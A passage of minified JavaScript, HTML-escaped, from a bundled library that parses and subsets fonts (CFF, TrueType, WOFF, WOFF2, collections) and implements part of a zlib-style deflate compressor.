this.cff.topDict.Private&amp;&amp;this.cff.topDict.Private.Subrs&amp;&amp;(n.Subrs=this.subsetSubrs(this.cff.topDict.Private.Subrs,r)),t.FDArray=[{Private:n}],t.FDSelect={version:3,nRanges:1,ranges:[{first:0,fd:0}],sentinel:this.charstrings.length}}addString(t){return t?(this.strings||(this.strings=[]),this.strings.push(t),Xb.length+this.strings.length-1):null}encode(){this.subsetCharstrings();let t={version:this.charstrings.length&gt;255?2:1,ranges:[{first:1,nLeft:this.charstrings.length-2}]},r=Object.assign({},this.cff.topDict);r.Private=null,r.charset=t,r.Encoding=null,r.CharStrings=this.charstrings;for(let i of[&quot;version&quot;,&quot;Notice&quot;,&quot;Copyright&quot;,&quot;FullName&quot;,&quot;FamilyName&quot;,&quot;Weight&quot;,&quot;PostScript&quot;,&quot;BaseFontName&quot;,&quot;FontName&quot;])r[i]=this.addString(this.cff.string(r[i]));r.ROS=[this.addString(&quot;Adobe&quot;),this.addString(&quot;Identity&quot;),0],r.CIDCount=this.charstrings.length,this.cff.isCIDFont?this.subsetFontdict(r):this.createCIDFontdict(r);let n={version:1,hdrSize:this.cff.hdrSize,offSize:4,header:this.cff.header,nameIndex:[this.cff.postscriptName],topDictIndex:[r],stringIndex:this.strings,globalSubrIndex:this.gsubrs};return zH.toBuffer(n)}constructor(t){if(super(t),this.cff=this.font[&quot;CFF &quot;],!this.cff)throw new Error(&quot;Not a CFF Font&quot;)}}class kl{static probe(t){let r=Y4.decode(t.slice(0,4));return r===&quot;true&quot;||r===&quot;OTTO&quot;||r===&quot;\0\0\0&quot;}setDefaultLanguage(t=null){this.defaultLanguage=t}_getTable(t){if(!(t.tag in this._tables))try{this._tables[t.tag]=this._decodeTable(t)}catch{}return this._tables[t.tag]}_getTableStream(t){let r=this.directory.tables[t];return r?(this.stream.pos=r.offset,this.stream):null}_decodeDirectory(){return this.directory=VH.decode(this.stream,{_startOffset:0})}_decodeTable(t){let r=this.stream.pos,n=this._getTableStream(t.tag),i=ww[t.tag].decode(n,this,t.length);return this.stream.pos=r,i}getName(t,r=this.defaultLanguage||vw){let n=this.name&amp;&amp;this.name.records[t];return n&amp;&amp;(n[r]||n[this.defaultLanguage]||n[vw]||n.en||n[Object.keys(n)[0]])||null}get postscriptName(){return this.getName(&quot;postscriptName&quot;)}get fullName(){return this.getName(&quot;fullName&quot;)}get familyName(){return this.getName(&quot;fontFamily&quot;)}get subfamilyName(){return this.getName(&quot;fontSubfamily&quot;)}get copyright(){return this.getName(&quot;copyright&quot;)}get version(){return this.getName(&quot;version&quot;)}get ascent(){return this.hhea.ascent}get descent(){return this.hhea.descent}get lineGap(){return this.hhea.lineGap}get underlinePosition(){return this.post.underlinePosition}get underlineThickness(){return this.post.underlineThickness}get italicAngle(){return this.post.italicAngle}get capHeight(){let t=this[&quot;OS/2&quot;];return t?t.capHeight:this.ascent}get xHeight(){let t=this[&quot;OS/2&quot;];return t?t.xHeight:0}get numGlyphs(){return this.maxp.numGlyphs}get unitsPerEm(){return this.head.unitsPerEm}get bbox(){return Object.freeze(new Qm(this.head.xMin,this.head.yMin,this.head.xMax,this.head.yMax))}get _cmapProcessor(){return new lB(this.cmap)}get characterSet(){return this._cmapProcessor.getCharacterSet()}hasGlyphForCodePoint(t){return!!this._cmapProcessor.lookup(t)}glyphForCodePoint(t){return this.getGlyph(this._cmapProcessor.lookup(t),[t])}glyphsForString(t){let r=[],n=t.length,i=0,s=-1,o=-1;for(;i&lt;=n;){let l=0,c=0;if(i&lt;n){if(l=t.charCodeAt(i++),55296&lt;=l&amp;&amp;l&lt;=56319&amp;&amp;i&lt;n){let d=t.charCodeAt(i);56320&lt;=d&amp;&amp;d&lt;=57343&amp;&amp;(i++,l=((l&amp;1023)&lt;&lt;10)+(d&amp;1023)+65536)}c=65024&lt;=l&amp;&amp;l&lt;=65039||917760&lt;=l&amp;&amp;l&lt;=917999?1:0}else i++;o===0&amp;&amp;c===1?r.push(this.getGlyph(this._cmapProcessor.lookup(s,l),[s,l])):o===0&amp;&amp;c===0&amp;&amp;r.push(this.glyphForCodePoint(s)),s=l,o=c}return r}get _layoutEngine(){return new $ye(this)}layout(t,r,n,i,s){return this._layoutEngine.layout(t,r,n,i,s)}stringsForGlyph(t){return this._layoutEngine.stringsForGlyph(t)}get availableFeatures(){return this._layoutEngine.getAvailableFeatures()}getAvailableFeatures(t,r){return this._layoutEngine.getAvailableFeatures(t,r)}_getBaseGlyph(t,r=[]){return this._glyphs[t]||(this.directory.tables.glyf?this._glyphs[t]=new eE(t,r,this):(this.directory.tables[&quot;CFF &quot;]||this.directory.tables.CFF2)&amp;&amp;(this._glyphs[t]=new n2e(t,r,this))),this._glyphs[t]||null}getGlyph(t,r=[]){return this._glyphs[t]||(this.directory.tables.sbix?this._glyphs[t]=new a2e(t,r,this):this.directory.tables.COLR&amp;&amp;this.directory.tables.CPAL?this._glyphs[t]=new s2e(t,r,this):this._getBaseGlyph(t,r)),this._glyphs[t]||null}createSubset(){return this.directory.tables[&quot;CFF &quot;]?new E2e(this):new w2e(this)}get variationAxes(){let t={};if(!this.fvar)return t;for(let r of this.fvar.axis)t[r.axisTag.trim()]={name:r.name.en,min:r.minValue,default:r.defaultValue,max:r.maxValue};return t}get namedVariations(){let t={};if(!this.fvar)return t;for(let r of this.fvar.instance){let n={};for(let i=0;i&lt;this.fvar.axis.length;i++){let s=this.fvar.axis[i];n[s.axisTag.trim()]=r.coord[i]}t[r.name.en]=n}return t}getVariation(t){if(!(this.directory.tables.fvar&amp;&amp;(this.directory.tables.gvar&amp;&amp;this.directory.tables.glyf||this.directory.tables.CFF2)))throw new Error(&quot;Variations require a font with the fvar, gvar and glyf, or CFF2 tables.&quot;);if(typeof t==&quot;string&quot;&amp;&amp;(t=this.namedVariations[t]),typeof t!=&quot;object&quot;)throw new Error(&quot;Variation settings must be either a variation name or settings object.&quot;);let r=this.fvar.axis.map((s,o)=&gt;{let l=s.axisTag.trim();return l in t?Math.max(s.minValue,Math.min(s.maxValue,t[l])):s.defaultValue}),n=new ll(this.stream.buffer);n.pos=this._directoryPos;let i=new kl(n,r);return i._tables=this._tables,i}get _variationProcessor(){if(!this.fvar)return null;let t=this.variationCoords;return!t&amp;&amp;!this.CFF2?null:(t||(t=this.fvar.axis.map(r=&gt;r.defaultValue)),new m2e(this,t))}getFont(t){return this.getVariation(t)}constructor(t,r=null){Bc(this,&quot;type&quot;,&quot;TTF&quot;),this.defaultLanguage=null,this.stream=t,this.variationCoords=r,this._directoryPos=this.stream.pos,this._tables={},this._glyphs={},this._decodeDirectory();for(let n in this.directory.tables){let i=this.directory.tables[n];ww[n]&amp;&amp;i.length&gt;0&amp;&amp;Object.defineProperty(this,n,{get:this._getTable.bind(this,i)})}}}fl([hl],kl.prototype,&quot;bbox&quot;,null);fl([hl],kl.prototype,&quot;_cmapProcessor&quot;,null);fl([hl],kl.prototype,&quot;characterSet&quot;,null);fl([hl],kl.prototype,&quot;_layoutEngine&quot;,null);fl([hl],kl.prototype,&quot;variationAxes&quot;,null);fl([hl],kl.prototype,&quot;namedVariations&quot;,null);fl([hl],kl.prototype,&quot;_variationProcessor&quot;,null);let C2e=new ct({tag:new Di(4),offset:new Je(et,&quot;void&quot;,{type:&quot;global&quot;}),compLength:et,length:et,origChecksum:et}),aq=new ct({tag:new Di(4),flavor:et,length:et,numTables:Y,reserved:new Ia(Y),totalSfntSize:et,majorVersion:Y,minorVersion:Y,metaOffset:et,metaLength:et,metaOrigLength:et,privOffset:et,privLength:et,tables:new Ye(C2e,&quot;numTables&quot;)});aq.process=function(){let e={};for(let t of this.tables)e[t.tag]=t;this.tables=e};var I2e=aq;class j2e extends kl{static probe(t){return Y4.decode(t.slice(0,4))===&quot;wOFF&quot;}_decodeDirectory(){this.directory=I2e.decode(this.stream,{_startOffset:0})}_getTableStream(t){let r=this.directory.tables[t];if(r)if(this.stream.pos=r.offset,r.compLength&lt;r.length){this.stream.pos+=2;let n=new Uint8Array(r.length),i=Gge(this.stream.readBuffer(r.compLength-2),n);return new ll(i)}else return this.stream;return null}constructor(...t){super(...t),Bc(this,&quot;type&quot;,&quot;WOFF&quot;)}}class N2e extends eE{_decode(){return this._font._transformedGlyphs[this.id]}_getCBox(){return this.path.bbox}constructor(...t){super(...t),Bc(this,&quot;type&quot;,&quot;WOFF2&quot;)}}const e9={decode(e){let t=0,r=[0,1,2,3,4];for(let n=0;n&lt;r.length;n++){let i=e.readUInt8();if(t&amp;3758096384)throw new Error(&quot;Overflow&quot;);if(t=t&lt;&lt;7|i&amp;127,(i&amp;128)===0)return t}throw new Error(&quot;Bad base 128 number&quot;)}};let S2e=[&quot;cmap&quot;,&quot;head&quot;,&quot;hhea&quot;,&quot;hmtx&quot;,&quot;maxp&quot;,&quot;name&quot;,&quot;OS/2&quot;,&quot;post&quot;,&quot;cvt &quot;,&quot;fpgm&quot;,&quot;glyf&quot;,&quot;loca&quot;,&quot;prep&quot;,&quot;CFF &quot;,&quot;VORG&quot;,&quot;EBDT&quot;,&quot;EBLC&quot;,&quot;gasp&quot;,&quot;hdmx&quot;,&quot;kern&quot;,&quot;LTSH&quot;,&quot;PCLT&quot;,&quot;VDMX&quot;,&quot;vhea&quot;,&quot;vmtx&quot;,&quot;BASE&quot;,&quot;GDEF&quot;,&quot;GPOS&quot;,&quot;GSUB&quot;,&quot;EBSC&quot;,&quot;JSTF&quot;,&quot;MATH&quot;,&quot;CBDT&quot;,&quot;CBLC&quot;,&quot;COLR&quot;,&quot;CPAL&quot;,&quot;SVG &quot;,&quot;sbix&quot;,&quot;acnt&quot;,&quot;avar&quot;,&quot;bdat&quot;,&quot;bloc&quot;,&quot;bsln&quot;,&quot;cvar&quot;,&quot;fdsc&quot;,&quot;feat&quot;,&quot;fmtx&quot;,&quot;fvar&quot;,&quot;gvar&quot;,&quot;hsty&quot;,&quot;just&quot;,&quot;lcar&quot;,&quot;mort&quot;,&quot;morx&quot;,&quot;opbd&quot;,&quot;prop&quot;,&quot;trak&quot;,&quot;Zapf&quot;,&quot;Silf&quot;,&quot;Glat&quot;,&quot;Gloc&quot;,&quot;Feat&quot;,&quot;Sill&quot;],B2e=new ct({flags:lr,customTag:new xw(new Di(4),e=&gt;(e.flags&amp;63)===63),tag:e=&gt;e.customTag||S2e[e.flags&amp;63],length:e9,transformVersion:e=&gt;e.flags&gt;&gt;&gt;6&amp;3,transformed:e=&gt;e.tag===&quot;glyf&quot;||e.tag===&quot;loca&quot;?e.transformVersion===0:e.transformVersion!==0,transformLength:new xw(e9,e=&gt;e.transformed)}),sq=new ct({tag:new Di(4),flavor:et,length:et,numTables:Y,reserved:new Ia(Y),totalSfntSize:et,totalCompressedSize:et,majorVersion:Y,minorVersion:Y,metaOffset:et,metaLength:et,metaOrigLength:et,privOffset:et,privLength:et,tables:new Ye(B2e,&quot;numTables&quot;)});sq.process=function(){let e={};for(let t=0;t&lt;this.tables.length;t++){let r=this.tables[t];e[r.tag]=r}return this.tables=e};var k2e=sq;class _2e extends kl{static probe(t){return Y4.decode(t.slice(0,4))===&quot;wOF2&quot;}_decodeDirectory(){this.directory=k2e.decode(this.stream),this._dataPos=this.stream.pos}_decompress(){if(!this._decompressed){this.stream.pos=this._dataPos;let t=this.stream.readBuffer(this.directory.totalCompressedSize),r=0;for(let i in this.directory.tables){let s=this.directory.tables[i];s.offset=r,r+=s.transformLength!=null?s.transformLength:s.length}let n=tAe(t,r);if(!n)throw new Error(&quot;Error decoding compressed data in WOFF2&quot;);this.stream=new ll(n),this._decompressed=!0}}_decodeTable(t){return this._decompress(),super._decodeTable(t)}_getBaseGlyph(t,r=[]){if(!this._glyphs[t])return this.directory.tables.glyf&amp;&amp;this.directory.tables.glyf.transformed?(this._transformedGlyphs||this._transformGlyfTable(),this._glyphs[t]=new N2e(t,r,this)):super._getBaseGlyph(t,r)}_transformGlyfTable(){this._decompress(),this.stream.pos=this.directory.tables.glyf.offset;let t=D2e.decode(this.stream),r=[];for(let i=0;i&lt;t.numGlyphs;i++){let s={},o=t.nContours.readInt16BE();if(s.numberOfContours=o,o&gt;0){let l=[],c=0;for(let d=0;d&lt;o;d++){let u=tj(t.nPoints);c+=u,l.push(c)}s.points=Q2e(t.flags,t.glyphs,c);for(let d=0;d&lt;o;d++)s.points[l[d]-1].endContour=!0;var n=tj(t.glyphs)}else if(o&lt;0&amp;&amp;eE.prototype._decodeComposite.call({_font:this},s,t.composites))var n=tj(t.glyphs);r.push(s)}this._transformedGlyphs=r}constructor(...t){super(...t),Bc(this,&quot;type&quot;,&quot;WOFF2&quot;)}}class Op{decode(t,r){return new ll(this._buf.decode(t,r))}constructor(t){this.length=t,this._buf=new cl(t)}}let D2e=new ct({version:et,numGlyphs:Y,indexFormat:Y,nContourStreamSize:et,nPointsStreamSize:et,flagStreamSize:et,glyphStreamSize:et,compositeStreamSize:et,bboxStreamSize:et,instructionStreamSize:et,nContours:new Op(&quot;nContourStreamSize&quot;),nPoints:new Op(&quot;nPointsStreamSize&quot;),flags:new Op(&quot;flagStreamSize&quot;),glyphs:new Op(&quot;glyphStreamSize&quot;),composites:new Op(&quot;compositeStreamSize&quot;),bboxes:new Op(&quot;bboxStreamSize&quot;),instructions:new Op(&quot;instructionStreamSize&quot;)});const T2e=253,R2e=254,P2e=255,t9=253;function tj(e){let t=e.readUInt8();return t===T2e?e.readUInt16BE():t===P2e?e.readUInt8()+t9:t===R2e?e.readUInt8()+t9*2:t}function yd(e,t){return e&amp;1?t:-t}function Q2e(e,t,r){let n,i=n=0,s=[];for(let c=0;c&lt;r;c++){let d=0,u=0,h=e.readUInt8(),p=!(h&gt;&gt;7);if(h&amp;=127,h&lt;10)d=0,u=yd(h,((h&amp;14)&lt;&lt;7)+t.readUInt8());else if(h&lt;20)d=yd(h,((h-10&amp;14)&lt;&lt;7)+t.readUInt8()),u=0;else if(h&lt;84){var o=h-20,l=t.readUInt8();d=yd(h,1+(o&amp;48)+(l&gt;&gt;4)),u=yd(h&gt;&gt;1,1+((o&amp;12)&lt;&lt;2)+(l&amp;15))}else if(h&lt;120){var o=h-84;d=yd(h,1+(o/12&lt;&lt;8)+t.readUInt8()),u=yd(h&gt;&gt;1,1+(o%12&gt;&gt;2&lt;&lt;8)+t.readUInt8())}else if(h&lt;124){var l=t.readUInt8();let y=t.readUInt8();d=yd(h,(l&lt;&lt;4)+(y&gt;&gt;4)),u=yd(h&gt;&gt;1,((y&amp;15)&lt;&lt;8)+t.readUInt8())}else d=yd(h,t.readUInt16BE()),u=yd(h&gt;&gt;1,t.readUInt16BE());i+=d,n+=u,s.push(new _0(p,!1,i,n))}return s}let F2e=new Un(et,{65536:{numFonts:et,offsets:new Ye(et,&quot;numFonts&quot;)},131072:{numFonts:et,offsets:new Ye(et,&quot;numFonts&quot;),dsigTag:et,dsigLength:et,dsigOffset:et}});class O2e{static probe(t){return Y4.decode(t.slice(0,4))===&quot;ttcf&quot;}getFont(t){for(let r of this.header.offsets){let n=new ll(this.stream.buffer);n.pos=r;let i=new kl(n);if(i.postscriptName===t||i.postscriptName instanceof Uint8Array&amp;&amp;t instanceof Uint8Array&amp;&amp;i.postscriptName.every((s,o)=&gt;t[o]===s))return i}return null}get fonts(){let t=[];for(let r of this.header.offsets){let n=new ll(this.stream.buffer);n.pos=r,t.push(new kl(n))}return t}constructor(t){if(Bc(this,&quot;type&quot;,&quot;TTC&quot;),this.stream=t,t.readString(4)!==&quot;ttcf&quot;)throw new Error(&quot;Not a TrueType collection&quot;);this.header=F2e.decode(t)}}let L2e=new Di(lr);new ct({len:et,buf:new cl(&quot;len&quot;)});let M2e=new ct({id:Y,nameOffset:Ht,attr:lr,dataOffset:ym,handle:et}),U2e=new ct({name:new Di(4),maxTypeIndex:Y,refList:new Je(Y,new Ye(M2e,e=&gt;e.maxTypeIndex+1),{type:&quot;parent&quot;})}),z2e=new ct({length:Y,types:new Ye(U2e,e=&gt;e.length+1)}),$2e=new ct({reserved:new Ia(lr,24),typeList:new Je(Y,z2e),nameListOffset:new Je(Y,&quot;void&quot;)}),r9=new ct({dataOffset:et,map:new Je(et,$2e),dataLength:et,mapLength:et});class H2e{static probe(t){let r=new ll(t);try{var n=r9.decode(r)}catch{return!1}for(let i of n.map.typeList.types)if(i.name===&quot;sfnt&quot;)return!0;return!1}getFont(t){if(!this.sfnt)return null;for(let r of this.sfnt.refList){let n=this.header.dataOffset+r.dataOffset+4,i=new ll(this.stream.buffer.slice(n)),s=new kl(i);if(s.postscriptName===t||s.postscriptName instanceof Uint8Array&amp;&amp;t instanceof Uint8Array&amp;&amp;s.postscriptName.every((o,l)=&gt;t[l]===o))return s}return null}get fonts(){let t=[];for(let r of this.sfnt.refList){let n=this.header.dataOffset+r.dataOffset+4,i=new ll(this.stream.buffer.slice(n));t.push(new kl(i))}return t}constructor(t){Bc(this,&quot;type&quot;,&quot;DFont&quot;),this.stream=t,this.header=r9.decode(this.stream);for(let r of this.header.map.typeList.types){for(let n of r.refList)n.nameOffset&gt;=0?(this.stream.pos=n.nameOffset+this.header.map.nameListOffset,n.name=L2e.decode(this.stream)):n.name=null;r.name===&quot;sfnt&quot;&amp;&amp;(this.sfnt=r)}}}K1(kl);K1(j2e);K1(_2e);K1(O2e);K1(H2e);var rj,n9;function q2e(){if(n9)return rj;n9=1;function e(){this.input=null,this.next_in=0,this.avail_in=0,this.total_in=0,this.output=null,this.next_out=0,this.avail_out=0,this.total_out=0,this.msg=&quot;&quot;,this.state=null,this.data_type=2,this.adler=0}return rj=e,rj}var G2e=q2e();const V2e=ma(G2e);var B0={},nj={},i9;function tE(){return i9||(i9=1,(function(e){var t=typeof Uint8Array&lt;&quot;u&quot;&amp;&amp;typeof Uint16Array&lt;&quot;u&quot;&amp;&amp;typeof Int32Array&lt;&quot;u&quot;;function r(s,o){return Object.prototype.hasOwnProperty.call(s,o)}e.assign=function(s){for(var o=Array.prototype.slice.call(arguments,1);o.length;){var l=o.shift();if(l){if(typeof l!=&quot;object&quot;)throw new TypeError(l+&quot;must be non-object&quot;);for(var c in l)r(l,c)&amp;&amp;(s[c]=l[c])}}return s},e.shrinkBuf=function(s,o){return s.length===o?s:s.subarray?s.subarray(0,o):(s.length=o,s)};var n={arraySet:function(s,o,l,c,d){if(o.subarray&amp;&amp;s.subarray){s.set(o.subarray(l,l+c),d);return}for(var u=0;u&lt;c;u++)s[d+u]=o[l+u]},flattenChunks:function(s){var o,l,c,d,u,h;for(c=0,o=0,l=s.length;o&lt;l;o++)c+=s[o].length;for(h=new Uint8Array(c),d=0,o=0,l=s.length;o&lt;l;o++)u=s[o],h.set(u,d),d+=u.length;return h}},i={arraySet:function(s,o,l,c,d){for(var u=0;u&lt;c;u++)s[d+u]=o[l+u]},flattenChunks:function(s){return[].concat.apply([],s)}};e.setTyped=function(s){s?(e.Buf8=Uint8Array,e.Buf16=Uint16Array,e.Buf32=Int32Array,e.assign(e,n)):(e.Buf8=Array,e.Buf16=Array,e.Buf32=Array,e.assign(e,i))},e.setTyped(t)})(nj)),nj}var Lp={},a9;function W2e(){if(a9)return Lp;a9=1;var e=tE(),t=4,r=0,n=1,i=2;function s(ce){for(var Le=ce.length;--Le&gt;=0;)ce[Le]=0}var o=0,l=1,c=2,d=3,u=258,h=29,p=256,A=p+1+h,y=30,v=19,w=2*A+1,j=15,E=16,S=7,_=256,C=16,Q=17,R=18,T=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0],M=[0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13],O=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7],$=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15],P=512,L=new Array((A+2)*2);s(L);var X=new Array(y*2);s(X);var W=new Array(P);s(W);var G=new Array(u-d+1);s(G);var J=new Array(h);s(J);var q=new Array(y);s(q);function ee(ce,Le,rt,ie,ae){this.static_tree=ce,this.extra_bits=Le,this.extra_base=rt,this.elems=ie,this.max_length=ae,this.has_stree=ce&amp;&amp;ce.length}var ne,V,ue;function de(ce,Le){this.dyn_tree=ce,this.max_code=0,this.stat_desc=Le}function xe(ce){return ce&lt;256?W[ce]:W[256+(ce&gt;&gt;&gt;7)]}function _e(ce,Le){ce.pending_buf[ce.pending++]=Le&amp;255,ce.pending_buf[ce.pending++]=Le&gt;&gt;&gt;8&amp;255}function Ce(ce,Le,rt){ce.bi_valid&gt;E-rt?(ce.bi_buf|=Le&lt;&lt;ce.bi_valid&amp;65535,_e(ce,ce.bi_buf),ce.bi_buf=Le&gt;&gt;E-ce.bi_valid,ce.bi_valid+=rt-E):(ce.bi_buf|=Le&lt;&lt;ce.bi_valid&amp;65535,ce.bi_valid+=rt)}function we(ce,Le,rt){Ce(ce,rt[Le*2],rt[Le*2+1])}function ve(ce,Le){var rt=0;do rt|=ce&amp;1,ce&gt;&gt;&gt;=1,rt&lt;&lt;=1;while(--Le&gt;0);return rt&gt;&gt;&gt;1}function Ne(ce){ce.bi_valid===16?(_e(ce,ce.bi_buf),ce.bi_buf=0,ce.bi_valid=0):ce.bi_valid&gt;=8&amp;&amp;(ce.pending_buf[ce.pending++]=ce.bi_buf&amp;255,ce.bi_buf&gt;&gt;=8,ce.bi_valid-=8)}function Ie(ce,Le){var rt=Le.dyn_tree,ie=Le.max_code,ae=Le.stat_desc.static_tree,Ee=Le.stat_desc.has_stree,re=Le.stat_desc.extra_bits,We=Le.stat_desc.extra_base,Tt=Le.stat_desc.max_length,H,ze,Ze,he,De,qe,dr=0;for(he=0;he&lt;=j;he++)ce.bl_count[he]=0;for(rt[ce.heap[ce.heap_max]*2+1]=0,H=ce.heap_max+1;H&lt;w;H++)ze=ce.heap[H],he=rt[rt[ze*2+1]*2+1]+1,he&gt;Tt&amp;&amp;(he=Tt,dr++),rt[ze*2+1]=he,!(ze&gt;ie)&amp;&amp;(ce.bl_count[he]++,De=0,ze&gt;=We&amp;&amp;(De=re[ze-We]),qe=rt[ze*2],ce.opt_len+=qe*(he+De),Ee&amp;&amp;(ce.static_len+=qe*(ae[ze*2+1]+De)));if(dr!==0){do{for(he=Tt-1;ce.bl_count[he]===0;)he--;ce.bl_count[he]--,ce.bl_count[he+1]+=2,ce.bl_count[Tt]--,dr-=2}while(dr&gt;0);for(he=Tt;he!==0;he--)for(ze=ce.bl_count[he];ze!==0;)Ze=ce.heap[--H],!(Ze&gt;ie)&amp;&amp;(rt[Ze*2+1]!==he&amp;&amp;(ce.opt_len+=(he-rt[Ze*2+1])*rt[Ze*2],rt[Ze*2+1]=he),ze--)}}function be(ce,Le,rt){var ie=new Array(j+1),ae=0,Ee,re;for(Ee=1;Ee&lt;=j;Ee++)ie[Ee]=ae=ae+rt[Ee-1]&lt;&lt;1;for(re=0;re&lt;=Le;re++){var We=ce[re*2+1];We!==0&amp;&amp;(ce[re*2]=ve(ie[We]++,We))}}function Re(){var ce,Le,rt,ie,ae,Ee=new Array(j+1);for(rt=0,ie=0;ie&lt;h-1;ie++)for(J[ie]=rt,ce=0;ce&lt;1&lt;&lt;T[ie];ce++)G[rt++]=ie;for(G[rt-1]=ie,ae=0,ie=0;ie&lt;16;ie++)for(q[ie]=ae,ce=0;ce&lt;1&lt;&lt;M[ie];ce++)W[ae++]=ie;for(ae&gt;&gt;=7;ie&lt;y;ie++)for(q[ie]=ae&lt;&lt;7,ce=0;ce&lt;1&lt;&lt;M[ie]-7;ce++)W[256+ae++]=ie;for(Le=0;Le&lt;=j;Le++)Ee[Le]=0;for(ce=0;ce&lt;=143;)L[ce*2+1]=8,ce++,Ee[8]++;for(;ce&lt;=255;)L[ce*2+1]=9,ce++,Ee[9]++;for(;ce&lt;=279;)L[ce*2+1]=7,ce++,Ee[7]++;for(;ce&lt;=287;)L[ce*2+1]=8,ce++,Ee[8]++;for(be(L,A+1,Ee),ce=0;ce&lt;y;ce++)X[ce*2+1]=5,X[ce*2]=ve(ce,5);ne=new ee(L,T,p+1,A,j),V=new ee(X,M,0,y,j),ue=new ee(new Array(0),O,0,v,S)}function Pe(ce){var Le;for(Le=0;Le&lt;A;Le++)ce.dyn_ltree[Le*2]=0;for(Le=0;Le&lt;y;Le++)ce.dyn_dtree[Le*2]=0;for(Le=0;Le&lt;v;Le++)ce.bl_tree[Le*2]=0;ce.dyn_ltree[_*2]=1,ce.opt_len=ce.static_len=0,ce.last_lit=ce.matches=0}function Ke(ce){ce.bi_valid&gt;8?_e(ce,ce.bi_buf):ce.bi_valid&gt;0&amp;&amp;(ce.pending_buf[ce.pending++]=ce.bi_buf),ce.bi_buf=0,ce.bi_valid=0}function tt(ce,Le,rt,ie){Ke(ce),_e(ce,rt),_e(ce,~rt),e.arraySet(ce.pending_buf,ce.window,Le,rt,ce.pending),ce.pending+=rt}function pt(ce,Le,rt,ie){var ae=Le*2,Ee=rt*2;return ce[ae]&lt;ce[Ee]||ce[ae]===ce[Ee]&amp;&amp;ie[Le]&lt;=ie[rt]}function dt(ce,Le,rt){for(var ie=ce.heap[rt],ae=rt&lt;&lt;1;ae&lt;=ce.heap_len&amp;&amp;(ae&lt;ce.heap_len&amp;&amp;pt(Le,ce.heap[ae+1],ce.heap[ae],ce.depth)&amp;&amp;ae++,!pt(Le,ie,ce.heap[ae],ce.depth));)ce.heap[rt]=ce.heap[ae],rt=ae,ae&lt;&lt;=1;ce.heap[rt]=ie}function Oe(ce,Le,rt){var ie,ae,Ee=0,re,We;if(ce.last_lit!==0)do ie=ce.pending_buf[ce.d_buf+Ee*2]&lt;&lt;8|ce.pending_buf[ce.d_buf+Ee*2+1],ae=ce.pending_buf[ce.l_buf+Ee],Ee++,ie===0?we(ce,ae,Le):(re=G[ae],we(ce,re+p+1,Le),We=T[re],We!==0&amp;&amp;(ae-=J[re],Ce(ce,ae,We)),ie--,re=xe(ie),we(ce,re,rt),We=M[re],We!==0&amp;&amp;(ie-=q[re],Ce(ce,ie,We)));while(Ee&lt;ce.last_lit);we(ce,_,Le)}function Pt(ce,Le){var rt=Le.dyn_tree,ie=Le.stat_desc.static_tree,ae=Le.stat_desc.has_stree,Ee=Le.stat_desc.elems,re,We,Tt=-1,H;for(ce.heap_len=0,ce.heap_max=w,re=0;re&lt;Ee;re++)rt[re*2]!==0?(ce.heap[++ce.heap_len]=Tt=re,ce.depth[re]=0):rt[re*2+1]=0;for(;ce.heap_len&lt;2;)H=ce.heap[++ce.heap_len]=Tt&lt;2?++Tt:0,rt[H*2]=1,ce.depth[H]=0,ce.opt_len--,ae&amp;&amp;(ce.static_len-=ie[H*2+1]);for(Le.max_code=Tt,re=ce.heap_len&gt;&gt;1;re&gt;=1;re--)dt(ce,rt,re);H=Ee;do re=ce.heap[1],ce.heap[1]=ce.heap[ce.heap_len--],dt(ce,rt,1),We=ce.heap[1],ce.heap[--ce.heap_max]=re,ce.heap[--ce.heap_max]=We,rt[H*2]=rt[re*2]+rt[We*2],ce.depth[H]=(ce.depth[re]&gt;=ce.depth[We]?ce.depth[re]:ce.depth[We])+1,rt[re*2+1]=rt[We*2+1]=H,ce.heap[1]=H++,dt(ce,rt,1);while(ce.heap_len&gt;=2);ce.heap[--ce.heap_max]=ce.heap[1],Ie(ce,Le),be(rt,Tt,ce.bl_count)}function Kt(ce,Le,rt){var ie,ae=-1,Ee,re=Le[1],We=0,Tt=7,H=4;for(re===0&amp;&amp;(Tt=138,H=3),Le[(rt+1)*2+1]=65535,ie=0;ie&lt;=rt;ie++)Ee=re,re=Le[(ie+1)*2+1],!(++We&lt;Tt&amp;&amp;Ee===re)&amp;&amp;(We&lt;H?ce.bl_tree[Ee*2]+=We:Ee!==0?(Ee!==ae&amp;&amp;ce.bl_tree[Ee*2]++,ce.bl_tree[C*2]++):We&lt;=10?ce.bl_tree[Q*2]++:ce.bl_tree[R*2]++,We=0,ae=Ee,re===0?(Tt=138,H=3):Ee===re?(Tt=6,H=3):(Tt=7,H=4))}function gt(ce,Le,rt){var ie,ae=-1,Ee,re=Le[1],We=0,Tt=7,H=4;for(re===0&amp;&amp;(Tt=138,H=3),ie=0;ie&lt;=rt;ie++)if(Ee=re,re=Le[(ie+1)*2+1],!(++We&lt;Tt&amp;&amp;Ee===re)){if(We&lt;H)do we(ce,Ee,ce.bl_tree);while(--We!==0);else Ee!==0?(Ee!==ae&amp;&amp;(we(ce,Ee,ce.bl_tree),We--),we(ce,C,ce.bl_tree),Ce(ce,We-3,2)):We&lt;=10?(we(ce,Q,ce.bl_tree),Ce(ce,We-3,3)):(we(ce,R,ce.bl_tree),Ce(ce,We-11,7));We=0,ae=Ee,re===0?(Tt=138,H=3):Ee===re?(Tt=6,H=3):(Tt=7,H=4)}}function Jt(ce){var Le;for(Kt(ce,ce.dyn_ltree,ce.l_desc.max_code),Kt(ce,ce.dyn_dtree,ce.d_desc.max_code),Pt(ce,ce.bl_desc),Le=v-1;Le&gt;=3&amp;&amp;ce.bl_tree[$[Le]*2+1]===0;Le--);return ce.opt_len+=3*(Le+1)+5+5+4,Le}function Bt(ce,Le,rt,ie){var ae;for(Ce(ce,Le-257,5),Ce(ce,rt-1,5),Ce(ce,ie-4,4),ae=0;ae&lt;ie;ae++)Ce(ce,ce.bl_tree[$[ae]*2+1],3);gt(ce,ce.dyn_ltree,Le-1),gt(ce,ce.dyn_dtree,rt-1)}function tr(ce){var Le=4093624447,rt;for(rt=0;rt&lt;=31;rt++,Le&gt;&gt;&gt;=1)if(Le&amp;1&amp;&amp;ce.dyn_ltree[rt*2]!==0)return r;if(ce.dyn_ltree[18]!==0||ce.dyn_ltree[20]!==0||ce.dyn_ltree[26]!==0)return 